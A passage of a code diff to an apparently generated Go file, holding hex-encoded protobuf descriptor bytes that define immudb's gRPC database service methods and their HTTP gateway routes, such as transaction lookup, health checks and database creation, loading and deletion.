0x2f, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, + 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, + 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, + 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, + 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, + 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, + 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, + 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, - 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, - 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, - 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, + 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, + 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, + 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, + 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, + 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, - 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, - 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, - 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, - 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, - 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, - 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, - 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, - 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, - 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, + 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, + 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, + 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, + 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, + 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, + 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, + 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, + 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, + 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, + 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, - 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, - 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 